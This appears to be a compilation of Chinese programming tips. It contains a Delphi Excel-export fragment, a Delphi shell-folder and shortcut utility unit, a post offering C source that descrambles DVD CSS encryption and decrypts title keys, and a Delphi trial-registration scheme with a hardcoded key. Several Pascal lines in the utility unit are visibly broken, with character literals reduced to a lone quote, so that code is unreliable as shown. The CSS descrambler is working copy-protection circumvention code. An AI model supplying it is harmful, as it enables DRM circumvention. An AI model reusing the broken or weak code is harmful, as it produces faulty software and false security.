'数据导出',MB_OK+MB_ICONError);

Workbook.Close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

screen.Cursor :=crDefault;

Exit;

end;

end; //for i

First;

j:=2;

{数据写入}

While (not Eof) do

begin

for i:=0 to DBGrid.Columns.Count-1 do

begin

try

EclApp.Cells(j,i+1):=DBGrid.Fields[i].DisplayText;

except

screen.Cursor :=crDefault;

Application.MessageBox('数据写入Excel失败！',

'数据导出',MB_OK+MB_ICONError);

Workbook.Close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

screen.Cursor :=crDefault;

Exit;

end;

end; //for i

next;

j:=j+1;

end; //while

end; //with DBGrid.

screen.Cursor :=crDefault;

sDlg :=TSaveDialog.Create(nil);

sDlg.DefaultExt :='xls';

sDlg.Filter :='Excel文件(*.xls)';

sDlg.Title :='保存Excel文件';

if sDlg.Execute then

begin

xlsFileName :=sDlg.FileName;

WorkBook.SaveAS(xlsFileName);

end;

WorkBook.Saved:=True; {已经保存:前面如没保存，则为放弃保存}

WorkBook.close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

sDlg.Free;

screen.Cursor :=crDefault;

end;

end.


一个很有用的单元
unit ShlFunc;

{本单元可使用尽可能少的资源完成下面的功能, }

interface

const

//用于描述系统文件夹的前缀常量

nvF_PgmMenu = #$82; // [开始][程序]

nvF_MyDoc = #$85; // 我的文档

nvF_BookMrk = #$86; // 收藏夹

nvF_Startup = #$87; // [开始][启动]

nvF_Recent = #$88; // [开始][文档]

nvF_SendTo = #$89; // 发送到...

nvF_StrMenu = #$8B; // [开始]

nvF_Desktop = #$90; // 桌面

nvF_AppData = #$9A; // Application Data

nvF_Windows = #$A0; // Windows

nvF_System = #$A1; // Windows

nvF_PgmFile = #$A2; // Program Files

nvF_Temp = #$A3; // Temp Directory

{

===============================================================================

}

//取系统文件夹, nvFolder 为上述常数, 可返回短文件名

function GetSysFolder(nvFolder: Char; ShortPath: Boolean): String;

function DoGetSysFolder(nvFolder: Char; ShortPath: Boolean; var S: String): Integer;

//展开如 nvF_Desktop+'MyFolder' 的路径名, 结果用 ExpandedPathName 变量访问

procedure DoExpandPathName(const xPath: String);

//搜索文件夹, 可返回短文件名, hWnd可以是0(nil)或调用窗口的Handle

function SearchPaths(hWND: Integer; const Title: String; ShortPath: Boolean): String;

//创建快捷方式(ShortCutName可描述为 nvF_xxx+'......" )

//如果ShortCutName='' 那么加入到[开始][文档]

function CreateFileShortCut(const FileName, ShortCutName: String): Boolean;

//通用字符串函数(从Src中的第SrcId个开始拷贝Count个字符到Tar的TarId开始的位置, 返回目标串的长度)

//该函数可避免频繁的字符串内存重分配

//SrcId, TarId, Count都可以为0, TarId=0 时将在Tar后面连接Src, Count=0 时将一直复制到Src的结尾

function StrReplace(const Src: String; var Tar: String; SrcId, TarId, Count: Integer): Integer;

//取文件的短文件名(sLen为FileName的当前长度, 如果为0则自动匹配; 返回目标串的长度)

function FileName8_3(var FileName: String; const sLen: Integer): Integer;

//路径是否存在, 如果ForceCreate, 那么如果路径不存在则自动创建)

function PathExists(const xPath: String; ForceCreate: Boolean): Boolean;

var

ExpandedPathName: string;

implementation

uses

ShlObj, Windows;

var

pxBrowse: PBrowseInfoA;

pxItemID: PItemIDList;

BrowseDlgTitle: String;

{

===============================================================================

}

function StrReplace(const Src: String; var Tar: String; SrcId, TarId, Count: Integer): Integer;

begin

if SrcId <= 0 then SrcId:= 0 else Dec(SrcId);

if Count <= 0 then Count:= Length(Src) - SrcId;

if TarId <= 0 then begin

TarId:= Length(Tar);

SetLength(Tar, TarId + Count);

end else Dec(TarId);

for Result:= 1 to Count do Tar[TarId + Result]:= Src[SrcId + Result];

Result:= TarId + Count;

end;

{

===============================================================================

}

function FileName8_3(var FileName: String; const sLen: Integer): Integer;

var

I, X: Integer;

begin try

if sLen > 0 then begin

X:= Length(FileName) - sLen;

if X < 128 then SetLength(FileName, sLen + 128);

X:= sLen + 1;

end else begin

X:= Length(FileName) + 1;

SetLength(FileName, X + 255);

end;

FileName[X]:= #0;

Result:= GetShortPathName(@FileName[1], @FileName[X+1], 255);

for I:= 1 to Result do FileName[I]:= FileName[X + I];

if sLen > 0 then FileName[Result+1]:= #0 else SetLength(FileName, Result);

except Result:= 0; end; end;

{

===============================================================================

}

procedure DoExpandPathName(const xPath: String);

var

X: Integer;

begin

if Ord(xPath[1]) < $80 then

ExpandedPathName:= xPath + #0

else begin

if Length(ExpandedPathName) < 255 then SetLength(ExpandedPathName, 255);

X:= DoGetSysFolder(xPath[1], false, ExpandedPathName);

X:= StrReplace(xPath, ExpandedPathName, 2, X+1, 0);

ExpandedPathName[X+1]:= #0;

end;

end;

function PathExists(const xPath: String; ForceCreate: Boolean): Boolean;

var

X: Integer;

procedure CreatePaths;

var

N: Integer; ch: Char;

begin

for N:= 1 to Length(ExpandedPathName) do begin

ch:= ExpandedPathName[N];

if ch = #0 then Break;

if ch <> ' then Continue;

ch:= ExpandedPathName[N+1];

ExpandedPathName[N+1]:= #0;

X:= GetFileAttributes(@ExpandedPathName[1]);

ExpandedPathName[N+1]:= ch;

if (X <> -1) and (FILE_ATTRIBUTE_DIRECTORY and X <> 0) then Continue;

ExpandedPathName[N]:= #0;

CreateDirectory(@ExpandedPathName[1], nil);

ExpandedPathName[N]:= ';

end;

end;

begin

DoExpandPathName(xPath);

X:= GetFileAttributes(@ExpandedPathName[1]);

Result:= (X <> -1) and (FILE_ATTRIBUTE_DIRECTORY and X <> 0);

if Result or (not ForceCreate) then Exit;

try CreatePaths; Result:= True; except end;

end;

{

===============================================================================

}

function GetSysFolder(nvFolder: Char; ShortPath: Boolean): String;

begin

SetLength(Result, 255);

SetLength(Result, DoGetSysFolder(nvFolder, ShortPath, Result));

end;

function DoGetSysFolder(nvFolder: Char; ShortPath: Boolean; var S: String): Integer;

var

X: Integer;

begin Result:= 0; try

X:= Ord(nvFolder);

if X < $A0 then begin

if SHGetSpecialFolderLocation(0, (X and $7F), pxItemID) <> NOERROR then Exit;

if pxItemID = nil then Exit;

if not SHGetPathFromIDList(pxItemID, @S[1]) then Exit;

X:= Pos(#0, S) - 1;

end else case nvFolder of

nvF_Windows: X:= GetWindowsDirectory(@S[1], 255);

nvF_System : X:= GetSystemDirectory(@S[1], 255);

nvF_PgmFile: Exit;

nvF_Temp : X:= GetTempPath(255, @S[1]);

else Exit;

end; {case}

if ShortPath then X:= FileName8_3(S, X);

if S[X] <> ' then begin Inc(X); S[X]:= '; end;

Result:= X; S[X+1]:= #0;

except Exit; end; end;

{

===============================================================================

}

function CreateFileShortCut(const FileName, ShortCutName: String): Boolean;

var

S: String; X, Y: Integer;

begin Result:= False; try

SHAddToRecentDocs(SHARD_PATH, PChar(FileName));

if Length(ShortCutName) <> 0 then begin

Y:= 0;

for X:= Length(FileName) downto 1 do

if FileName[X] = ' then begin Y:= X; Break; end;

SetLength(S, 255);

SHGetSpecialFolderLocation(0, CSIDL_RECENT, pxItemID);

SHGetPathFromIDList(pxItemID, @S[1]);

X:= Pos(#0, S);

if S[X-1] <> ' then begin S[X]:= '; Inc(X); end;

X:= StrReplace(FileName, S, Y+1, X, 0);

X:= StrReplace('.lnk'#0, S, 0, X+1, 0);

DoExpandPathName(ShortCutName);

if not PathExists(ExpandedPathName, True) then Exit;

X:= StrReplace('.lnk'#0, ExpandedPathName, 0, Pos(#0, ExpandedPathName), 0);

Result:= CopyFile(@S[1], @ExpandedPathName[1], False);

if Result then DeleteFile(@S[1]);

end; except end; end;

{

===============================================================================

}

procedure InitBrowseInfo(hWND: Integer);

begin

if pxBrowse = nil then New(pxBrowse);

with pxBrowse^ do begin

hWndOwner:= hWND;

pidlRoot:= nil;

pszDisplayName:= nil;

lpszTitle:= PChar(BrowseDlgTitle);

ulFlags:= BIF_RETURNONLYFSDIRS;

lpfn:= nil;

end;

end;

{

===============================================================================

}

function SearchPaths(hWND: Integer; const Title: String; ShortPath: Boolean): String;

begin SetLength(Result, 0); try;

if Length(Title) <> 0 then BrowseDlgTitle:= Title;

InitBrowseInfo(hWND);

pxItemID:= SHBrowseForFolder(pxBrowse^);

Dispose(pxBrowse); pxBrowse:= nil;

if pxItemID = nil then Exit;

SetLength(Result, 255);

SHGetPathFromIDList(pxItemID, @Result[1]);

hWnd:= Pos(#0, Result);

if ShortPath then hWnd:= FileName8_3(Result, hWnd);

if Result[hWnd] <> ' then begin

Inc(hWnd); Result[hWnd]:= ';

end;

SetLength(Result, hWnd);

except SetLength(Result, 0); end; end;

{

===============================================================================

}

initialization

BrowseDlgTitle:= '搜索文件夹';

pxBrowse:= nil;

finalization

if pxBrowse <> nil then Dispose(pxBrowse);

end.


DVD解码源代码
DVD解码源代码大公布

下面为源代码。你可以自己看看。

unsigned int CSStab0[11]={5,0,1,2,3,4,0,1,2,3,4};

unsigned char CSStab1[256]=

{

0x33,0x73,0x3b,0x26,0x63,0x23,0x6b,0x76,0x3e,0x7e,0x36,0x2b,0x6e,0x2e,0x66,0x7b,

0xd3,0x93,0xdb,0x06,0x43,0x03,0x4b,0x96,0xde,0x9e,0xd6,0x0b,0x4e,0x0e,0x46,0x9b,

0x57,0x17,0x5f,0x82,0xc7,0x87,0xcf,0x12,0x5a,0x1a,0x52,0x8f,0xca,0x8a,0xc2,0x1f,

0xd9,0x99,0xd1,0x00,0x49,0x09,0x41,0x90,0xd8,0x98,0xd0,0x01,0x48,0x08,0x40,0x91,

0x3d,0x7d,0x35,0x24,0x6d,0x2d,0x65,0x74,0x3c,0x7c,0x34,0x25,0x6c,0x2c,0x64,0x75,

0xdd,0x9d,0xd5,0x04,0x4d,0x0d,0x45,0x94,0xdc,0x9c,0xd4,0x05,0x4c,0x0c,0x44,0x95,

0x59,0x19,0x51,0x80,0xc9,0x89,0xc1,0x10,0x58,0x18,0x50,0x81,0xc8,0x88,0xc0,0x11,

0xd7,0x97,0xdf,0x02,0x47,0x07,0x4f,0x92,0xda,0x9a,0xd2,0x0f,0x4a,0x0a,0x42,0x9f,

0x53,0x13,0x5b,0x86,0xc3,0x83,0xcb,0x16,0x5e,0x1e,0x56,0x8b,0xce,0x8e,0xc6,0x1b,

0xb3,0xf3,0xbb,0xa6,0xe3,0xa3,0xeb,0xf6,0xbe,0xfe,0xb6,0xab,0xee,0xae,0xe6,0xfb,

0x37,0x77,0x3f,0x22,0x67,0x27,0x6f,0x72,0x3a,0x7a,0x32,0x2f,0x6a,0x2a,0x62,0x7f,

0xb9,0xf9,0xb1,0xa0,0xe9,0xa9,0xe1,0xf0,0xb8,0xf8,0xb0,0xa1,0xe8,0xa8,0xe0,0xf1,

0x5d,0x1d,0x55,0x84,0xcd,0x8d,0xc5,0x14,0x5c,0x1c,0x54,0x85,0xcc,0x8c,0xc4,0x15,

0xbd,0xfd,0xb5,0xa4,0xed,0xad,0xe5,0xf4,0xbc,0xfc,0xb4,0xa5,0xec,0xac,0xe4,0xf5,

0x39,0x79,0x31,0x20,0x69,0x29,0x61,0x70,0x38,0x78,0x30,0x21,0x68,0x28,0x60,0x71,

0xb7,0xf7,0xbf,0xa2,0xe7,0xa7,0xef,0xf2,0xba,0xfa,0xb2,0xaf,0xea,0xaa,0xe2,0xff

};

unsigned char CSStab2[256]=

{

0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x09,0x08,0x0b,0x0a,0x0d,0x0c,0x0f,0x0e,

0x12,0x13,0x10,0x11,0x16,0x17,0x14,0x15,0x1b,0x1a,0x19,0x18,0x1f,0x1e,0x1d,0x1c,

0x24,0x25,0x26,0x27,0x20,0x21,0x22,0x23,0x2d,0x2c,0x2f,0x2e,0x29,0x28,0x2b,0x2a,

0x36,0x37,0x34,0x35,0x32,0x33,0x30,0x31,0x3f,0x3e,0x3d,0x3c,0x3b,0x3a,0x39,0x38,

0x49,0x48,0x4b,0x4a,0x4d,0x4c,0x4f,0x4e,0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,

0x5b,0x5a,0x59,0x58,0x5f,0x5e,0x5d,0x5c,0x52,0x53,0x50,0x51,0x56,0x57,0x54,0x55,

0x6d,0x6c,0x6f,0x6e,0x69,0x68,0x6b,0x6a,0x64,0x65,0x66,0x67,0x60,0x61,0x62,0x63,

0x7f,0x7e,0x7d,0x7c,0x7b,0x7a,0x79,0x78,0x76,0x77,0x74,0x75,0x72,0x73,0x70,0x71,

0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x95,0x9b,0x9a,0x99,0x98,0x9f,0x9e,0x9d,0x9c,

0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x89,0x88,0x8b,0x8a,0x8d,0x8c,0x8f,0x8e,

0xb6,0xb7,0xb4,0xb5,0xb2,0xb3,0xb0,0xb1,0xbf,0xbe,0xbd,0xbc,0xbb,0xba,0xb9,0xb8,

0xa4,0xa5,0xa6,0xa7,0xa0,0xa1,0xa2,0xa3,0xad,0xac,0xaf,0xae,0xa9,0xa8,0xab,0xaa,

0xdb,0xda,0xd9,0xd8,0xdf,0xde,0xdd,0xdc,0xd2,0xd3,0xd0,0xd1,0xd6,0xd7,0xd4,0xd5,

0xc9,0xc8,0xcb,0xca,0xcd,0xcc,0xcf,0xce,0xc0,0xc1,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,

0xff,0xfe,0xfd,0xfc,0xfb,0xfa,0xf9,0xf8,0xf6,0xf7,0xf4,0xf5,0xf2,0xf3,0xf0,0xf1,

0xed,0xec,0xef,0xee,0xe9,0xe8,0xeb,0xea,0xe4,0xe5,0xe6,0xe7,0xe0,0xe1,0xe2,0xe3

};

unsigned char CSStab3[512]=

{

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,

0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff,0x00,0x24,0x49,0x6d,0x92,0xb6,0xdb,0xff

};

unsigned char CSStab4[256]=

{

0x00,0x80,0x40,0xc0,0x20,0xa0,0x60,0xe0,0x10,0x90,0x50,0xd0,0x30,0xb0,0x70,0xf0,

0x08,0x88,0x48,0xc8,0x28,0xa8,0x68,0xe8,0x18,0x98,0x58,0xd8,0x38,0xb8,0x78,0xf8,

0x04,0x84,0x44,0xc4,0x24,0xa4,0x64,0xe4,0x14,0x94,0x54,0xd4,0x34,0xb4,0x74,0xf4,

0x0c,0x8c,0x4c,0xcc,0x2c,0xac,0x6c,0xec,0x1c,0x9c,0x5c,0xdc,0x3c,0xbc,0x7c,0xfc,

0x02,0x82,0x42,0xc2,0x22,0xa2,0x62,0xe2,0x12,0x92,0x52,0xd2,0x32,0xb2,0x72,0xf2,

0x0a,0x8a,0x4a,0xca,0x2a,0xaa,0x6a,0xea,0x1a,0x9a,0x5a,0xda,0x3a,0xba,0x7a,0xfa,

0x06,0x86,0x46,0xc6,0x26,0xa6,0x66,0xe6,0x16,0x96,0x56,0xd6,0x36,0xb6,0x76,0xf6,

0x0e,0x8e,0x4e,0xce,0x2e,0xae,0x6e,0xee,0x1e,0x9e,0x5e,0xde,0x3e,0xbe,0x7e,0xfe,

0x01,0x81,0x41,0xc1,0x21,0xa1,0x61,0xe1,0x11,0x91,0x51,0xd1,0x31,0xb1,0x71,0xf1,

0x09,0x89,0x49,0xc9,0x29,0xa9,0x69,0xe9,0x19,0x99,0x59,0xd9,0x39,0xb9,0x79,0xf9,

0x05,0x85,0x45,0xc5,0x25,0xa5,0x65,0xe5,0x15,0x95,0x55,0xd5,0x35,0xb5,0x75,0xf5,

0x0d,0x8d,0x4d,0xcd,0x2d,0xad,0x6d,0xed,0x1d,0x9d,0x5d,0xdd,0x3d,0xbd,0x7d,0xfd,

0x03,0x83,0x43,0xc3,0x23,0xa3,0x63,0xe3,0x13,0x93,0x53,0xd3,0x33,0xb3,0x73,0xf3,

0x0b,0x8b,0x4b,0xcb,0x2b,0xab,0x6b,0xeb,0x1b,0x9b,0x5b,0xdb,0x3b,0xbb,0x7b,0xfb,

0x07,0x87,0x47,0xc7,0x27,0xa7,0x67,0xe7,0x17,0x97,0x57,0xd7,0x37,0xb7,0x77,0xf7,

0x0f,0x8f,0x4f,0xcf,0x2f,0xaf,0x6f,0xef,0x1f,0x9f,0x5f,0xdf,0x3f,0xbf,0x7f,0xff

};

unsigned char CSStab5[256]=

{

0xff,0x7f,0xbf,0x3f,0xdf,0x5f,0x9f,0x1f,0xef,0x6f,0xaf,0x2f,0xcf,0x4f,0x8f,0x0f,

0xf7,0x77,0xb7,0x37,0xd7,0x57,0x97,0x17,0xe7,0x67,0xa7,0x27,0xc7,0x47,0x87,0x07,

0xfb,0x7b,0xbb,0x3b,0xdb,0x5b,0x9b,0x1b,0xeb,0x6b,0xab,0x2b,0xcb,0x4b,0x8b,0x0b,

0xf3,0x73,0xb3,0x33,0xd3,0x53,0x93,0x13,0xe3,0x63,0xa3,0x23,0xc3,0x43,0x83,0x03,

0xfd,0x7d,0xbd,0x3d,0xdd,0x5d,0x9d,0x1d,0xed,0x6d,0xad,0x2d,0xcd,0x4d,0x8d,0x0d,

0xf5,0x75,0xb5,0x35,0xd5,0x55,0x95,0x15,0xe5,0x65,0xa5,0x25,0xc5,0x45,0x85,0x05,

0xf9,0x79,0xb9,0x39,0xd9,0x59,0x99,0x19,0xe9,0x69,0xa9,0x29,0xc9,0x49,0x89,0x09,

0xf1,0x71,0xb1,0x31,0xd1,0x51,0x91,0x11,0xe1,0x61,0xa1,0x21,0xc1,0x41,0x81,0x01,

0xfe,0x7e,0xbe,0x3e,0xde,0x5e,0x9e,0x1e,0xee,0x6e,0xae,0x2e,0xce,0x4e,0x8e,0x0e,

0xf6,0x76,0xb6,0x36,0xd6,0x56,0x96,0x16,0xe6,0x66,0xa6,0x26,0xc6,0x46,0x86,0x06,

0xfa,0x7a,0xba,0x3a,0xda,0x5a,0x9a,0x1a,0xea,0x6a,0xaa,0x2a,0xca,0x4a,0x8a,0x0a,

0xf2,0x72,0xb2,0x32,0xd2,0x52,0x92,0x12,0xe2,0x62,0xa2,0x22,0xc2,0x42,0x82,0x02,

0xfc,0x7c,0xbc,0x3c,0xdc,0x5c,0x9c,0x1c,0xec,0x6c,0xac,0x2c,0xcc,0x4c,0x8c,0x0c,

0xf4,0x74,0xb4,0x34,0xd4,0x54,0x94,0x14,0xe4,0x64,0xa4,0x24,0xc4,0x44,0x84,0x04,

0xf8,0x78,0xb8,0x38,0xd8,0x58,0x98,0x18,0xe8,0x68,0xa8,0x28,0xc8,0x48,0x88,0x08,

0xf0,0x70,0xb0,0x30,0xd0,0x50,0x90,0x10,0xe0,0x60,0xa0,0x20,0xc0,0x40,0x80,0x00

};

void CSSdescramble(unsigned char *sec,unsigned char *key)

{

unsigned int t1,t2,t3,t4,t5,t6;

unsigned char *end=sec+0x800;

t1=key[0]^sec[0x54]|0x100;

t2=key[1]^sec[0x55];

t3=(*((unsigned int *)(key+2)))^(*((unsigned int *)(sec+0x56)));

t4=t3&7;

t3=t3*2+8-t4;

sec+=0x80;

t5=0;

while(sec!=end)

{

t4=CSStab2[t2]^CSStab3[t1];

t2=t1>>1;

t1=((t1&1)<<8)^t4;

t4=CSStab5[t4];

t6=(((((((t3>>3)^t3)>>1)^t3)>>8)^t3)>>5)&0xff;

t3=(t3<<8)|t6;

t6=CSStab4[t6];

t5+=t6+t4;

*sec++=CSStab1[*sec]^(t5&0xff);

t5>>=8;

}

}

void CSStitlekey1(unsigned char *key,unsigned char *im)

{

unsigned int t1,t2,t3,t4,t5,t6;

unsigned char k[5];

int i;

t1=im[0]|0x100;

t2=im[1];

t3=*((unsigned int *)(im+2));

t4=t3&7;

t3=t3*2+8-t4;

t5=0;

for(i=0;i<5;i++)

{

t4=CSStab2[t2]^CSStab3[t1];

t2=t1>>1;

t1=((t1&1)<<8)^t4;

t4=CSStab4[t4];

t6=(((((((t3>>3)^t3)>>1)^t3)>>8)^t3)>>5)&0xff;

t3=(t3<<8)|t6;

t6=CSStab4[t6];

t5+=t6+t4;

k[i]=t5&0xff;

t5>>=8;

}

for(i=9;i>=0;i--)

key[CSStab0[i+1]]=k[CSStab0[i+1]]^CSStab1[key[CSStab0[i+1]]]^key[CSStab0[i]];

}

void CSStitlekey2(unsigned char *key,unsigned char *im)

{

unsigned int t1,t2,t3,t4,t5,t6;

unsigned char k[5];

int i;

t1=im[0]|0x100;

t2=im[1];

t3=*((unsigned int *)(im+2));

t4=t3&7;

t3=t3*2+8-t4;

t5=0;

for(i=0;i<5;i++)

{

t4=CSStab2[t2]^CSStab3[t1];

t2=t1>>1;

t1=((t1&1)<<8)^t4;

t4=CSStab4[t4];

t6=(((((((t3>>3)^t3)>>1)^t3)>>8)^t3)>>5)&0xff;

t3=(t3<<8)|t6;

t6=CSStab5[t6];

t5+=t6+t4;

k[i]=t5&0xff;

t5>>=8;

}

for(i=9;i>=0;i--)

key[CSStab0[i+1]]=k[CSStab0[i+1]]^CSStab1[key[CSStab0[i+1]]]^key[CSStab0[i]];

}

void CSSdecrypttitlekey(unsigned char *tkey,unsigned char *dkey)

{

int i;

unsigned char im1[6];

unsigned char im2[6]={0x51,0x67,0x67,0xc5,0xe0,0x00};

for(i=0;i<6;i++)

im1[i]=dkey[i];

CSStitlekey1(im1,im2);

CSStitlekey2(tkey,im1);

}


用dephi为应用软件建立注册机制
如何保护自己的软件不被非授权盗用的问题，始终困扰着每一个程序员。当前世界上保护软件的方法有很多，主要是采用加密（如加软件狗）方式或软件注册方式。使用软件狗等加密方法，虽然其保护最有效，但对授权用户的正常使用有一定的影响，而且软件发放比较复杂，在实际运用中比较少被采用。而注册登记方式则是当前最流行、运用最广泛的方法，虽然有许多通用软件其注册码可以很容易地被发烧友们所解，但对于独立程序员为某特定应用设计的应用软件而言，采用注册机制显得最经济、最方便，而且在一定的范围内非常有效。笔者在实际工作中，广泛使用了软件注册方法，有效地维护了软件的权益。

    dephi软件的功能极为强大，深受程序员喜欢。用dephi开发的软件，可以很方便地加入注册机制。下面笔者就如何在dephi开发的软件中加入注册机制与朋友们交流心得。

    要实现软件注册机制，需解决以下几个问题：1、如何加入注册检测，判断软件是否注册；2、如何隐藏注册码，及是否注册的标志；3、在软件不注册情况下，如何限制软件的使用时间或次数；4、对正常用户而言，不应造成使用不便。对于以上四个问题，如何隐藏注册码及是否注册的标志是关键。在windows95中，win95本身及大多数的应用软件都将其各种参数放入注册表中，因而注册表内的数据显得极为庞大和复杂。如果将注册标志隐藏在注册表的某一角落中，想要找到它并理解它是极其困难的事。因此我们可以利用这一点，在注册表的某个分支上设置一个从名称上看毫无特殊意义的关键字，将自己软件的注册标志数据存放在这里。以下是整个注册机制的流程框图：

    从上图可以看出，整个注册机制主要由两个部分组成：检查和注册。通过检查标志值，得出软件是否已注册；若没有注册，则要看它允许使用的次数是否已达到；若可使用的次数已用完，则应提示用户输入注册码，进行注册；只有用户输入的注册码正确时，才让用户继续使用软件，同时将标志置为已注册，让用户永久性使用；否则允许使用的次数未达到，应将次数加一；若用户注册输入的注册码错误或拒绝注册，则直接关闭软件，拒绝其继续使用。当然，在软件允许使用次数未达到时，也应通过菜单项为用户提供机会进行注册登记。以下是笔者在实际开发中，建立注册机制的程序代码及注释。

假设软件的主程序窗口为form1，则将该段代码置放在form1.create事件中。代码如下：

procedure tform1.form1create(sender: tobject);

var

re_id:integer;

registertemp : tregistry;

inputstr,get_id:string;

dy,clickedok:boolean;

begin

  dy:=false; //软件是否已到注册期、及是否允许继续使用的标志，当值为false是为允许使用。

  registertemp := tregistry.create; //准备使用注册表

  with registertemp do

  begin

      rootkey:=hkey_local_machine; //存放在此根下

      if openkey('software',true) then

        // 建一目录，存放标志值。当然也可以存放在已存在的目录下。怎么样，很难发现吧？

        begin

          if valueexists('gc_id') then begin //用gc_id的值作为标志，首先判断其存在否？

              re_id:=readinteger('gc_id');//读出标志值

              if (re_id<>0) and (re_id<>100) then begin //若标志值为0，则说明已注册。

                            //若不为0且值不到100,说明虽未注册，但允许使用的次数尚未达到。

                re_id:=re_id+5; //允许标志的最大值为100，每次加5，则最多只可用20次。

                writeinteger('gc_id',re_id);//将更新后的标志值写入注册表中。

          end;

          if re_id=100 then dy:=true; //假如值已到100，则应注册。

        end

      else writeinteger('gc_id',5);//建立标志，并置初始标志值。

    end;

    if dy then begin //若dy值为true，则应提示用户输入注册码，进行注册。

        clickedok:=inputquery('您使用的是非注册软件,请输入注册码：',' ',inputstr);

        if clickedok then begin

            get_id:=inttostr(27593758*2);//注册码为55187516，当然可加入更杂的算法。

            if get_id=inputstr then begin

                writeinteger('gc_id',0);//若输入的注册码正确，则将标志值置为0,即已注册。

                closekey;

                free;

              end

            else begin //若输入的注册码错误，应作出提示并拒绝让其继续使用

                application.messagebox('注册码错误!请与作者联系!','警告框',mb_ok);

                closekey;

                free;

                application.terminate; //中止程序运行，拒绝让其继续使用

              end;

            end

        else begin //若用户不输入注册码，也应作出提示并拒绝让其继续使用

            application.messagebox('请与作者联系，使用注册软件!','警告框',mb_ok);

            closekey;

            free;

            application.terminate;

          end;

    end;

  end;

end;

（注：通过菜单进行注册的方法同本段提示用户进行注册的内容雷同，这里不提供代码。）

